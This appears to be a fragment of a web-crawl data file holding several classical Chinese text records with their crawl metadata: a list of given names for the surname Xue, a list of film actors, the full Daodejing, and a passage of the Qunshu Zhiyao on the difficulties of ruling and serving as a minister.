薛艺兴 薛宝何 薛齐赫 薛镇柯 薛智蔚 薛建欣 薛善歆 薛宏鑫 薛德禄 薛泯良 薛正翔 薛若娘 薛芊灵 薛一涵 薛家科 薛晋民 薛俊民 薛耕锦 薛小然 薛林诺 薛皓林 薛重钧 薛鸿林 薛淳萱 薛文时 薛琪奕 薛道成 薛罗兴 薛振鑫 薛志尧 薛海宣 薛亿东 薛叶隽 薛仕翎 薛子昊 薛嘉非 薛骄伯 薛映杰 薛金标 薛发邑 薛琼阳。\n2.姓薛的怎么起名字啊\n子健 子康 子昊 子恒 子轩 子博 子亮 子磊 子奇 子聪 子鸣 子玉 子涵 子凡 子桐 子山 子诺 子翔 天泽 天浩 天宇 天翔 天博 天磊 天豪 天霖 智浩 智博 智磊 智旭 智涵 智凡 智宇 智聪 智龙 智扬 智衡 智轩 智远 智渊 明磊 明浩 明泽 明翔 明安 明扬 明辉 明杰 旭然 旭明 旭阳 旭哲 旭辉 旭鹏 逸恒 逸舒 逸飞 逸晨 逸博 逸翔 逸明 逸安 逸航 逸豪 启良 伟良 伟豪 正阳 一默 浩宇 宏磊 泽良 安晨 一宁 少博 兆辉 奇伟 以达 一涵 恩彤 锦培 文杰 元浩 晋威 宣磊 鹏哲 俊哲 翼飞 添一 卓奇 达伟 亚博 哲航 浩天 浩辉 泽鹏 少坤 启凡 奥阳 奥博 奥轩 奥凡 奥翔 奥杰 奥鹏 奥桁 奥航 奥宇 奥鸣 奥宁 奥坤(昆) 奥桐 奥磊 奥哲 奥良 子晴 子珊 子瑶 子翎 子萱 子玉 子柔 子蕙 子璇 子诺 子琪 子喻 天敏 天妮 天娜 天琳 天怡 天瑶 雅妮 雅琳 雅婷 雅晴 雅心 雅慧 雅兰 雅楠 雅诗 雅珊 雅菲 雅涵 雅雯 雅娜 雅琪 雅璐 雅思 雅捷 可晴 可人 美雪 沐菲 沐雪 佳扬 佩琳 家蕙 佳妮 贝妮 美岚 月翎 莎莎 佩蓉 梦夕 喻心 敏婷 敏心 奕馨 乐瑶 静怡 丛一 雪颖 家宜 欣宜 思涵 笑怡 俐丹 俐楠 雅琳 秀媛 露轩 梦婕 思婷 思敏 雨柔 雨寒 雨涵 思雨 雨菲 雨楠 秀雨 梦雨 雨瑶 雨珊 雨蕙 诗雨 雨昕 雨曦 奥敏 奥婷 奥萱 奥菲 奥寒 奥扬 奥珊 奥璇 奥琪 奥捷 奥夕 奥晨 奥曦 奥颖 奥心 个人意见,仅供参考,希望多少能给你点灵感 !!! 自己选择一下!。","id":"","dump":"CC-MAIN-2021-43","url":"http:\/\/www.qmjie.com\/k\/25706.html","date":"2021-10-27T01:26:03Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-43\/segments\/1634323587963.12\/warc\/CC-MAIN-20211026231833-20211027021833-00589.warc.gz","language":"lzh","language_score":0.7457253933,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.7457253932952881, \"nan_Hani_score\": 0.14601780474185944, \"cmn_Hani_score\": 0.09800977259874344}","num_words":419,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.293,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.771,"perplexity_score":500.0,"cluster_detection":1} +{"text":"林正英 吳耀漢 呂方 樓南光 王玉環 何健威 葉榮祖 午馬 洪金寶 劉秋生 元奎 班潤生 張榮祥 金彪 李志傑 彭潤祥 蕭紅梅 譚一清 劉晃世\n古天樂 任達華 張家輝 林家棟 王天林 林雪 安志傑 鄭浩南 張兆輝 譚炳文 尤勇智 潘月彤 張武孝 元彬 莫醒麟 李日升 黃思恩 徐忠信 羅強 趙志誠 羅靖庭 唐培中 張榮祥 張志平 陳紹佳 周建軍 李發源 陳桂芬 樊文傑 凌振幫 餘袁穩\n本網站為非盈利性站點│₪•·,本網站所有內容均來源於網際網路相關站點自動搜尋採集資訊│₪•·,相關連結已經註明來源╃☁·。\nCopyright © 2015-2019 海影庫","id":"","dump":"CC-MAIN-2023-23","url":"http:\/\/a91hi.com\/so\/-%E5%BC%A0%E8%8D%A3%E7%A5%A5------------\/","date":"2023-06-10T19:13:54Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-23\/segments\/1685224657735.85\/warc\/CC-MAIN-20230610164417-20230610194417-00544.warc.gz","language":"lzh","language_score":0.4816787243,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.48167872428894043, \"cmn_Hani_score\": 0.45099151134490967, \"nan_Hani_score\": 0.04932944104075432, \"yue_Hani_score\": 0.015165536664426327}","num_words":53,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.271,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.498,"perplexity_score":500.0,"cluster_detection":1} +{"text":"觀妙章第一\n道可道。非常道。名可名。非常名。無。名天地之始。有。名萬物之母。故常無欲,以觀其妙。常有欲,以觀其徼。此兩者。同出而異名。同謂之玄。玄之又玄。眾妙之門。\n觀徼章第二\n天下皆知美之為美。斯惡已。皆知善之為善。斯不善已。故有無相生。難易相成。長短相形。高下相傾。音聲相和。前後相隨。是以聖人處無為之事。行不言之教。萬物作焉而不辭。生而不有。為而不恃。功成而弗居。夫惟弗居。是以不去。\n安民章第三\n不尚賢。使民不爭。不貴難得之貨。使民不為盜。不見可欲。使心不亂。是以聖人之治。虛其心。實其腹。弱其志。強其骨。常使民無知無欲。使夫知者不敢為也。為無為。則無不治。\n不盈章第四\n道沖而用之。或不盈。淵兮似萬物之宗。挫其銳。解其紛。和其光。同其塵。湛兮似若存。吾不知誰之子。象帝之先。\n守中章第五\n天地不仁。以萬物為芻狗。聖人不仁。以百姓為芻狗。天地之間。其猶橐籥乎。虛而不屈。動而愈出。多言數窮。不如守中。\n谷神章第六\n谷神不死。是謂玄牝。玄牝之門。是謂天地根。綿綿若存。用之不勤。\n無私章第七\n天長地久。天地所以能長且久者。以其不自生。故能長生。是以聖人後其身而身先。外其身而身存。非以其無私耶。故能成其私。\n若水章第八\n上善若水。水善利萬物不而爭。處眾人之所惡。故幾於道。居善地。心善淵。與善仁。言善信。政善治。事善能。動善時。夫唯不爭。故無尤。\n持盈章第九\n持而盈之。不如其已。揣而銳之。不可常保。金玉滿堂莫之能守。富貴而驕。自遺其咎。功成名遂。身退。天之道。\n玄德章第十\n載魂魄抱一。能無離乎。專氣致柔。能嬰兒乎。滌除玄覽。能無疵乎。愛民治國。能無為乎。天門開闔。能為雌乎。明白四達。能無知乎。生之畜之。生而不有。為而不恃。長而不宰。是謂玄德。\n虛中章第十一\n三十輻。共一轂。當其無有車之用。埏埴以為器。當其無有器之用。鑿戶牖以為室。當其無有室之用。故有之以為利。無之以為用。\n為腹章第十二\n五色令人目盲。五音令人耳聾。五味令人口爽。馳騁田獵。令人心發狂。難得之貨。令人行妨。是以聖人為腹不為目。故去彼取此。\n寵辱章第十三\n寵辱若驚。貴大患若身。何謂寵辱若驚。寵為上。辱為下。得之若驚。失之若驚。是謂寵辱若驚。何謂貴大患若身。吾所以有大患者。為吾有身。及吾無身。吾有何患。故貴以身為天下者。可以寄天下。愛以身為天下者。可以託天下。\n道紀章第十四\n視之不見。名曰夷。聽之不聞。名曰希。搏之不得。名曰微。此三者。不可致詰。故混而為一。其上不皦。其下不昧。繩繩兮不可名。復歸於無物。是謂無狀之狀。無象之象。是謂恍惚。迎之不見其首。隨之不見其後。執古之道。以御今之有。\n不盈章第十五\n古之善為士者。微妙玄通。深不可識。夫唯不可識。故強為之容。豫兮若冬涉川。猶兮若畏四鄰。儼兮其若容。渙兮若冰之將釋。敦兮其若樸。曠兮其若谷。渾兮其若濁。孰能濁以止。靜之徐清。孰能安以久。動之徐生。保此道者。不欲盈。夫唯不盈。故能敝不新成。\n復命章第十六\n致虛極。守靜篤。萬物並作。吾以觀其復。夫物芸芸。各復歸其根。歸根曰靜。靜曰復命。復命日常,知常曰明。不知常。妄作凶。知常容。容乃公。公乃王。王乃天。天乃道。道乃久。沒身不殆。\n知有章第十七\n太上不知有之。其次親之譽之。其次畏之。其次侮之。故信不足焉。有不信焉。猶兮其貴言。功成事遂。百姓皆謂我自然。\n四有章第十八\n大道廢。有仁義。智慧出。有大偽。六親不和有孝慈。國家昏亂有忠臣。\n樸素章第十九\n絕聖棄智。民利百倍。絕仁棄義。民復孝慈。絕巧棄利。盜賊無有。此三者。以為文不足。故令有所屬。見素抱樸。少私寡欲。\n食母章第二十\n絕學無憂。唯之於阿。相去幾何。善之於惡。相去何若。人之所畏。不可不畏。荒兮其未央哉。眾人熙熙。如享太牢。如登春臺。我獨泊兮其未兆。如嬰兒之未孩。乘乘兮若無所歸。眾人皆有餘。而我獨若遺。我愚人之心也哉。沌沌兮。眾人昭昭。我獨若昏。眾人察察。我獨悶悶。澹兮其若海。漂兮若無所止。眾人皆有以。我獨頑且鄙。我獨異於人。而貴食母。\n從道章第二十一\n孔德之容。惟道是從。道之為物。惟恍惟惚。惚兮恍兮。其中有象。恍兮惚兮。其中有物。窈兮冥兮。其中有精。其精甚真。其中有信。自古及今。其名不去。以閱眾甫。吾何以知眾甫之然哉。以此。\n抱一章第二十二\n曲則全。枉則直。窪則盈。敝則新。少則得。多則惑。是以聖人抱一為天下式。不自見故明。不自是故彰。不自伐故有功。不自矜故長。夫惟不爭。故天下莫能與之爭。古之所謂曲則全者。豈虛言哉。誠全而歸之。\n同道章第二十三\n希言自然。飄風不終朝。驟雨不終日。孰為此者天地。天地尚不能久。而況於人乎。故從事於道者。道者同於道。德者同於德。失者同於失。同於道者。道亦樂得之。同於德者。德亦樂得之。同於失者。失亦樂得之。信不足焉。有不信焉。\n不處章第二十四\n跂者不立。跨者不行。自見者不明。自是者不彰。自伐者無功。自矜者不長。其於道也。曰餘食贅行。物或惡之。故有道者不處。\n混成章第二十五\n有物混成。先天地生。寂兮寥兮。獨立而不改。周行而不殆。可以為天下母。吾不知其名。字之曰道。強為之名曰大。大曰逝。逝曰遠。遠曰返。故道大。天大。地大。王亦大。域中有四大。而人居其一焉。人法地。地法天。天法道。道法自然。\n輜重章第二十六\n重為輕根。靜為躁君。是以君子終日行。不離輜重。雖有榮觀。燕處超然。奈何萬乘之主。而以身輕天下。輕則失根。躁則失君。\n襲明章第二十七\n善行無轍跡。善言無瑕謫。善計不用籌策。善閉無關鍵而不可開。善結無繩約而不可解。是以聖人常善救人。故無棄人。常善救物。故無棄物。是謂襲明。故善人者。不善人之師。不善人者。善人之資。不貴其師。不愛其資。雖智大迷。是謂要妙。\n常德章第二十八\n知其雄。守其雌。為天下谿。為天下谿。常德不離。復歸於嬰兒。知其白。守其黑。為天下式。為天下式。常得不忒。復歸於無極。知其榮。守其辱。為天下谷。為天下谷。常聽乃足。復歸於樸。樸散則為器。聖人用之。則為官長。故大制不割。\n自然章第二十九\n將欲取天下而為之。吾見其不得已。天下神器。不可為也。為者敗之。執者失之。故物或行或隨。或呴或吹。或強或贏。或載或隳。是以聖人去甚。去奢。去泰。\n不道章第三十\n以道佐人主者。不以兵強天下。其事好還。師之所處。荊棘生焉。大兵之後。必有凶年。故善者果而已。不敢以取強。果而勿矜。果而勿伐。果而勿驕。果而不得已。是果而勿強。物壯則老。是謂不道。不道早已。\n貴左章第三十一\n夫佳兵者,不祥之器,物或惡之,故有道者不處。君子居則貴左,用兵則貴右。兵者不祥之器,非君子之器,不得已而用之,恬淡為上。勝而不美,而美之者,是樂殺人。夫樂殺人者,不可以得志於天下。吉事尚左,凶事尚右。偏將軍處左,上將軍處右,言以喪禮處之。殺人之眾,以悲哀泣之,戰勝則以喪禮處之。\n知止章第三十二\n道常無名。樸雖小。天下不敢臣也。侯王若能守。萬物將自賓。天地相合。以降甘露。人莫之令而自均。始制有名。名亦既有。夫亦將知止。知止所以不殆。譬道之在天下。猶川谷之於江海。\n盡己章第三十三\n知人者智。自知則明。勝人者有力。自勝者強。知足者富。強行者有志。不失其所者久。死而不亡者壽。\n成大章第三十四\n大道汎兮。其可左右。萬物恃之以生而不辭。功成而不有。愛養萬物。而不為主。常無欲。可名於小。萬物歸。而不為主。可名為大。是以聖人。終不為大。故能成其大。\n大象章第三十五\n執大象。天下往。往而不害。安平泰。樂與餌。過客止。道之出口。淡乎其無味。視之不足見。聽之不足聞。用之不可既。\n微明章第三十六\n將欲歙之。必固張之。將欲弱之。必固強之。將欲廢之。必固興之。將欲奪之。必固與之。是謂微明。柔勝剛。弱勝強。魚不可脫於淵。國之利器。不可以示人。\n無為章第三十七\n道常無為。而無不為。侯王若能守。萬物將自化。化而欲作。吾將鎮之以無名之樸。無名之樸。亦將不欲。不欲以靜。天下將自正。\n處厚章第三十八\n上德不德。是以有德。下德不失德。是以無德。上德無為而無以為。下德為之。而有以為。上仁為之。而無以為。上義為之。而有以為。上禮為之。而莫之應。則攘臂而扔之。故失道而後德。失德而後仁。失仁而後義。失義而後禮。夫禮者。忠信之薄而亂之首也。前識者。道之華。而愚之始也。是以大丈夫處其厚。不居其薄。處其實。不居其華。故去彼取此。\n得一章第三十九\n昔之得一者。天得一以清。地得一以寧。神得一以靈。谷得一以盈。萬物得一以生。侯王得一。以為天下貞。其致之一也。天無以清。將恐裂。地無以寧。將恐發。神無以靈。將恐歇。谷無以盈。將恐竭。萬物無以生。將恐滅。侯王無以貞。而貴高將恐蹶。故貴以賤為本。高以下為基。是以侯王自稱孤寡不穀。此其以賤為本耶。非乎。故致數輿無輿。不欲碌碌如玉。落落如石。\n反覆章第四十\n反者道之動。弱者道之用。天下萬物生於有。有生於無。\n聞道章第四十一\n上士聞道。勤而行之。中士聞道。若存若亡。下士聞道。大笑之。不笑不足以為道。故建言有之。明道若昧。進道若退。夷道若類。上德若谷。大白若辱。廣德若不足。建德若偷。質真若渝。大方無隅。大器晚成。大音希聲。大象無形。道隱無名。夫唯道。善貸且成。\n沖和章第四十二\n道生一。一生二。二生三。三生萬物。萬物負陰而抱陽。沖氣以為和。人之所惡。惟孤寡不穀。而王公以為稱。故物或損之而益。或益之而損。人之所教。我亦教之。強梁者不得其死。吾將以為教父。\n至柔章第四十三\n天下之至柔。馳騁天下之至堅。無有入於無間。吾是以知無為之有益。不言之教。無為之益。天下希及之。\n知止章第四十四\n名與身孰親。身與貨孰多。得與亡孰病。是故甚愛必大費。多藏必厚亡。知足不辱。知止不殆。可以長久。\n清靜章第四十五\n大成若缺。其用不弊。大盈若沖。其用不窮。大直若屈。大巧若拙。大辯若訥。躁勝寒。靜勝熱。清靜為天下正。\n知足章第四十六\n天下有道。卻走馬以糞。天下無道。戎馬生於郊。罪莫大於可欲。禍莫大於不知足。咎莫大於欲得。故知足之足常足矣。\n天道章第四十七\n不出戶。知天下。不窺牖。見天道。其出彌遠。其知彌少。是以聖人。不行而知。不見而明。不為而成。\n日損章第四十八\n為學日益。為道日損。損之又損。以至於無為。無為而無不為。故取天下者。常以無事。及其有事。不足以取天下。\n德善章第四十九\n聖人無常心。以百姓心為心。善者。吾善之。不善者。吾亦善之。德善矣。信者吾信之。不信者吾亦信之。德信矣。聖人之在天下。怵怵焉。為天下渾其心。百姓皆注其耳目。聖人皆孩之。\n生死章第五十\n出生入死。生之徒。十有三。死之徒。十有三。人之生。動之死地。亦十有三。夫何故。以其生生之厚。蓋聞善攝生者。陸行不遇兕虎。入軍不被甲兵。兕無所投其角。虎無所措其爪。兵無所容其刃。夫何故。以其無死地。\n尊貴章第五十一\n道生之。德畜之。物形之。勢成之。是以萬物。莫不尊道而貴德。道之尊。德之貴。夫莫之命。而常自然。故道生之。德畜之。長之。育之。成之。熟之。養之。覆之。生而不有。為而不恃。長而不宰。是謂玄德。\n守母章第五十二\n天下有始。以為天下母。既得其母。以知其子。既知其子。腹守其母。歿身不殆。塞其兌。閉其門。終身不勤。開其兌。濟其事。終身不救。見小曰明。守柔曰強。用其光。復歸其明。無道身殃。是謂習常。\n大道章第五十三\n使我介然有知。行於大道。惟施是畏。大道甚夷。而民好徑。朝甚除。田甚蕪。倉甚虛。服文采。帶利劍。厭飲食。貨財有餘。是謂盜兮。非道也哉。\n善建章第五十四\n善建者不拔。善抱者不脫。子孫祭祀不輟。修之於身。其德乃真。修之於家。其德乃餘。修之於鄉。其德乃長。修之於國。其德乃豐。修之於天下。其德乃普。故以身觀身。以家觀家。以鄉觀鄉。以國觀國。以天下觀天下。吾何以知天下之然哉。以此。\n含德章第五十五\n含德之厚。比於赤子。毒蟲不螫。猛獸不據。攫鳥不搏。骨弱筋柔而握固。未知牝牡之合而朘作。精之至也。終日號而不嗄。和之至也。知和曰常。知常曰明。益生曰祥。心使氣曰強。物壯則老。是謂不道。不道早已。\n道貴章第五十六\n知者不言。言者不知。塞其兌。閉其門。挫其銳。解其紛。和其光。同其塵。是謂玄同。故不可得而親。亦不可得而疏。不可得而利。亦不可得而害。不可得而貴。亦不可得而賤。故為天下貴。\n治國章第五十七\n以正治國。以奇用兵。以無事取天下。吾何以知其然哉。以此。天下多忌諱。而民彌貧。人多利器。國家滋昏。人多伎巧。奇物滋起。法令滋彰。盜賊多有。故聖人云。我無為而民自化。我好靜而民自正。我無事而民自富。我無欲而民自樸。\n察政章第五十八\n其政悶悶。其民淳淳。其政察察。其民缺缺。禍兮福所倚。福兮禍所伏。孰知其極。其無正耶。正復為奇。善復為妖。人之迷也。其日固久矣。是以聖人。方而不割。廉而不劌。直而不肆。光而不耀。\n長生章第五十九\n治人事天。莫若嗇。夫唯嗇。是謂早服。早服謂之重積德。重積德。則無不克。無不克。則莫知其極。莫知其極。可以有國。有國之母。可以長久。是謂深根固柢。長生久視之道。\n治大國章第六十\n治大國若烹小鮮。以道蒞天下。其鬼不神。非其鬼不神。其神不傷民。非其神不傷民。聖人亦不傷民。夫惟兩不相傷。故德交歸焉。\n為天下章第六十一\n大國者下流。天下之交。天下之牝。牝常以靜勝牡。以靜為下。故大國以下小國。則取小國。小國以下大國。則取大國。故或下以取。或下而取。大國不過欲兼畜人。小國不過欲入事人。兩者各得其所欲。故大者宜為下。\n道奧章第六十二\n道者萬物之奧。善人之寶。不善人之所保。美言可以市。尊行可以加人。人之不善。何棄之有。故立天子。置三公。雖有拱壁以先駟馬。不如坐進這此道。古之所以貴此道者何。不曰求以得。有罪以免耶。故為天下貴。\n無難章第六十三\n為無為。事無事。味無味。大小多少。報怨以德。圖難於其易。為大於其細。天下難事。必作於易。天下大事。必作於細。是以聖人終不為其大。故能成其大。夫輕諾。必寡信。多易必多難。是以聖人猶難之。故終無難矣。\n輔物章第六十四\n其安易持。其未兆易謀。其脆易判。其微易散。為之於未有。治之於未亂。合抱之木。生於毫末。九層之臺。起於累土。千里之行。始於足下。為者敗之。執者失之。是以聖人無為。故無敗。無執。故無失。民之從事。常幾於成而敗之。慎終如始。則無敗事。是以聖人欲不欲。不貴難得之貨。學不學。復眾人之所過。以輔萬物之自然。而不敢為。\n玄德章第六十五\n古之善為道者。非以明民。將以愚之。民之難治。以其智多。故以智治國。國之賊。不以智治國。國之福。知此兩者。亦楷式。常知楷式。是謂玄德。玄德深矣遠矣。與物反矣。然後乃至大順。\n江海章第六十六\n江海所以能為百谷王者。以其善下之。故能為百谷王。是以聖人欲上民。必以言下之。欲先民。必以身後之。是以聖人。處上而民不重。處前而民不害。是以天下樂推而不厭。以其不爭。故天下莫能與之爭。\n三寶章第六十七\n天下皆謂我道大。似不肖。夫唯大。故似不肖。若肖。久矣其細也夫。我有三寶。持而保之。一曰慈。二曰儉。三曰不敢為天下先。夫慈故能勇。儉故能廣。不敢為天下先。故能成器長。今捨其慈且勇。捨其儉且廣。捨其後且先。死矣。夫慈。以戰則勝。以守則固。天將救之。以慈衛之。\n不爭章第六十八\n善為士者不武。善戰者不怒。善勝敵者不與。善用人者為之下。是謂不爭之德。是謂用人之力。是謂配天。古之極。\n用兵章第六十九\n用兵有言。吾不敢為主而為客。不敢進寸而退尺。是謂行無行。攘無臂。扔無敵。執無兵。禍莫大於輕敵。輕敵幾喪吾寶。故抗兵相加。哀者勝矣。\n懷玉章第七十\n吾言甚易知。甚易行。天下莫能知。莫能行。言有宗。事有君。夫唯無知。是以不我知。知我者希。則我者貴。是以聖人被褐懷玉。\n不病章第七十一\n知不知上。不知知病。聖人不病。夫唯病病。是以不病。聖人不病。以其病病。\n畏威章第七十二\n民不畏威。則大威至。無狹其所居。無厭其所生。夫唯不厭。是以不厭。是以聖人自知不自見。自愛不自貴。故去彼取此。\n天網章第七十三\n勇於敢則殺。勇於不敢則活。此兩者。或利或害。天之所惡。孰知其故。是以聖人猶難之。天之道。不爭而善勝。不言而自應。不召而自來。繟然而善謀。天網恢恢。疏而不失。\n司殺章第七十四\n民不畏死。奈何以死懼之。若使民常畏死。而為奇者。吾得執而殺之。孰敢。常有司殺者殺。夫代司殺者。是謂代大匠斲。夫代大匠斲者。希有不傷其手矣。\n貴生章第七十五\n民之飢。以其上食稅之多。是以飢。民之難治。以其上之有為。是以難治。民之輕死。以其求生之厚。是以輕死。夫唯無以生為者。是賢於貴生。\n柔弱章第七十六\n人之生也柔弱。其死也堅強。萬物草木之生也柔脆。其死也枯槁。故堅強者死之徒。柔弱者生之徒。是以兵強則不勝。木強則兵。堅強居下。柔弱居上。\n天道章第七十七\n天之道。其猶張弓乎。高者抑之。下者舉之。有餘者損之。不足者與之。天之道。損有餘而補不足。人之道。則不然。損不足以奉有餘。孰能以有餘奉天下。唯有道者。是以聖人為而不恃。功成而不處。不欲見賢。\n水德章第七十八\n天下柔弱。莫過乎水。而攻堅強者。莫之能勝。其無以易之。故柔勝剛。弱勝強。天下莫不知。天下莫能行。故聖人云。愛國之垢。是謂社稷主。受國不祥。是謂天下王。正言若反。\n合契章第七十九\n和大怨。必有餘怨。安可以為善。是以聖人。執左契而不責於人。故有德司契。無德司徹。天道無親。常與善人。\n不徒章第八十\n小國寡民。使有什伯之器。而不用。使民重死。而不遠徒。雖有舟車。無所乘之。雖有甲兵。無所陳之。使民復結繩而用之。甘其食。美其服。安其居。樂其俗。鄰國相望。雞犬之音相聞。民至老死。不相往來。\n不積章第八十一\n信言不美。美言不信。善者不辯。辯者不善。知者不博。博者不知。聖人不積。既以為人己愈有。既以與人己愈多。天之道。利而不害。聖人之道。為而不爭。\n道德經終","id":"","dump":"CC-MAIN-2024-18","url":"https:\/\/taolibrary.com\/video\/video906.aspx","date":"2024-04-22T05:55:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-18\/segments\/1712296818081.81\/warc\/CC-MAIN-20240422051258-20240422081258-00201.warc.gz","language":"lzh","language_score":0.4806064665,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.48060646653175354, \"cmn_Hani_score\": 0.3633982539176941, \"nan_Hani_score\": 0.09105229377746582, \"jpn_Jpan_score\": 0.026789991185069084, \"wuu_Hani_score\": 0.021774590015411377, \"yue_Hani_score\": 0.013218813575804234}","num_words":163,"character_repetition_ratio":0.011,"word_repetition_ratio":0.0,"special_characters_ratio":0.193,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.488,"perplexity_score":500.0,"cluster_detection":1} +{"text":"政要論\n群書治要卷四十七\n爲君難\n或曰。仲尼稱爲君難。夫人君者。處尊高之位。執賞罰之柄。用人之才。因人之力。何爲不成。何求不得。功立則受其功。治成則厚其福。故官人。舜也。治水。禹也。稼穡。弃也。理訟。皋陶也。堯無事焉。而由之聖治。何爲君難耶。\n曰。此其所以爲難也。夫日月照於晝夜。風雨動潤於萬物。陰陽代以生殺。四時迭以成歲。不見天事。而猶貴之者。其所以運氣陶演。協和施化。皆天之爲也。\n是以。天。萬物之覆。君。萬物之燾也。懷生之類。有不浸潤於澤者。天以爲負。員首之民。有不霑濡於惠者。君以爲耻。\n是以在上者體人君之大德。懷恤下之小心。闡化立教。必以其道。發言則通四海。行政則動萬物。慮之於心。思之於内。布之於天下。正身於廟堂之上。而化應於千里之外。雖黈纊塞耳。隱屏而居。照幽達情。燭於宇宙。動作周旋。無事不慮。\n服一綵則念女功之勞。御一谷則恤農夫之勤。决不聽之獄。則懼刑之不中。進一士之爵。則恐官之失賢。賞毫氂之善。必有所勸。罰纖芥之惡。必有所沮。\n使化若春氣。澤如時雨。消凋污之人。移薄僞之俗。救衰世之弊。反之於上古之樸。至德加於天下。惠厚施於百姓。故民仰之如天地。愛之如父母。敬之如神明。畏之如雷霆。\n且佐治之臣。歷世難遇。庸人衆而賢才寡。是故君人者不能皆得稷契之幹。伊吕之輔。猶造父不能皆得騏驥之乘。追風之匹也。御踶齧必煩轡銜。統庸臣必勞智慮。是以人君其所以濟輔群下。均養小大。審覈真僞。考察變態。在於幽冥窈妙之中。割毫折芒纖微之間。非天下之至精。孰能盡於此哉。\n故臣有立小忠以售大不忠。效小信以成大不信。可不慮之以詐乎。\n臣有貌厲而内荏。色取仁而行違。可不慮之以虚乎。\n臣有害同儕以專朝。塞下情以壅上。可不慮之以嫉乎。\n臣有進邪説以亂是。因似然以傷賢。可不慮之以奸乎。臣有因賞以恩(恩上恐有脱字)。因罰以佐威。可不慮之以奸乎。臣有外顯相薦。内陰相謀。事托公而實俠私。可不慮之以欺乎。\n臣有事左右以求進。托重臣以自結。可不慮之以僞乎。臣有和同以取諧。苟合以求薦。可不慮之以禍乎。\n臣有悦君意以求親。悦主言以取容。可不慮之以佞乎。此九慮者。所以防惡也。\n臣有辭拙而意工。言逆而事順。可不恕之以直乎。臣有樸拙而辭訥。外疏而内敏。可不恕之以質乎。\n臣有犯難以爲士(士疑當作上或主)。離謗以爲國。可不恕之以忠乎。臣有守正以逆衆意。執法而違私志。可不恕之以公乎。\n臣有不曲己以求合。不耦世以取容。可不恕之以貞乎。\n臣有從側陋而進顯言。由卑賤而陳國事。可不恕之以難乎。\n臣有孤特而執節。分立而見毁。可不恕之以勁乎。\n此七恕者。所以進善接下之理也。御臣之道。豈徒七恕九慮而已哉。\n臣不易\n昔孔子言。爲臣不易。或人以爲易。言臣之事君。供職奉命。敕身恭己。忠順而已。忠則獲寵安之福。順則無危辱之憂。曷爲不易哉。此言似易。論之甚難。\n夫君臣之接。以愚奉智不易。以明事暗爲難。唯以賢事聖。以聖事賢爲可。然賢聖相遭既稀。又周公之於成王。猶未能得。斯誠不易也。且父子以恩親。君臣以義固。恩有所爲虧。况義能無所爲缺哉。苟有虧缺。亦何容易。\n且夫事君者。竭忠義之道。盡忠義之節。服勞辱之事。當危(危字上下。疑有脱文)之難。肝腦塗地。膏液潤草而不辭者。以安上治民。宣化成德。使君爲一代之聖明。己爲一世之良輔。輔千乘則念過管晏。佐天下則思醜稷禹。豈爲七尺之軀。寵一官之貴。貪充家之禄。榮華囂之觀哉。\n以(以上疑脱是字)忠臣之事主。投命委身。期於成功立事。便國利民。故不爲難易變節。安危革行也。然爲大臣者。或仍舊德。藉故勢。或見拔擢重任。其所以保寵成功。承上安下。則當遠威權之地。避嫌疑之分。知虧盈之數。達止足之義。動依典禮。事念忠篤。乃當匡上之行。諫主之非。獻可濟否。匪躬之故。剛亦不吐。柔亦不茹。所謂大臣以道事君也。然當托於幽微。當行於隱密。使怨咎從己身。而衆善自君發。爲群寮之表式。作萬官之儀範。豈得偷樂容悦而已哉。然或爲邪臣所譖。幸臣所亂。聽一疑而不見信。事似然而不可釋。忠詭計而爲非。善事變而爲惡。罪結於天。無所禱請。激直言而無所訴。深者即時伏劍賜死。淺者以漸斥逐放弃。蓋比干龍逢所以見害於飛廉惡來。孔子周公所以見毁於管蔡季孫也。斯則大臣所以不易也。\n爲小臣者。得任則治其職。受事(事下疑脱則字)修其業。思不出其位。慮不過其責。竭力致誠。忠信而已。\n然或困辱而不均。厭抑而失所。是以賢者或非其議。預非其事。不著其陋。不嫌其卑。庶貫一言而利一事。\n然以至輕至微。至疏至賤。幹萬乘之主。約以禮義之度。匡以行事之非。忤執政之臣。暴其所短。説合則裁。自若不當。則離禍害。或計不欲人知。事不從人豫。而己策謀適合。陳偶同上者。或顯戮其身以神其計。在下者或妒其人而奪其策。蓋關思見殺於鄭。韓非受誅於秦。龐涓刖孫臏之足。魏齊折應侯之脅。斯又孤宦小臣所以爲難也。\n爲小臣者。一當恪恭職司。出内惟允。造膝詭辭。執心審密。忠上愛主。媚不求奧竈而已。若爲苟若(若爲苟若疑有誤字)此。患爲外人所彈。邪臣所嫉。以職近而言易。身親而見信。奉公俠私之吏求害之以見直。懷奸抱邪之臣欲除之以示忠。言有若是。事有似然。雖父子之間。猶不能明。况臣之於君而得之乎。故上官毁屈平。爰盎譖晁錯。公孫排主父。張湯陷嚴助。夫數子者。雖示純德。亦親近之臣所以爲難也。\n爲外臣者。儘力致死。其義一也。不以遠而自外。疏而自簡。親涉其事而掌其任。苟有可以興利除害。安危定亂。雖違本朝之議。詭常法之道。陳之於主。行之於身。志於忠上濟事。憂公無私。善否之間。在已典(典恐當作與)主可也。然患爲左右所輕重。貴臣所壅制 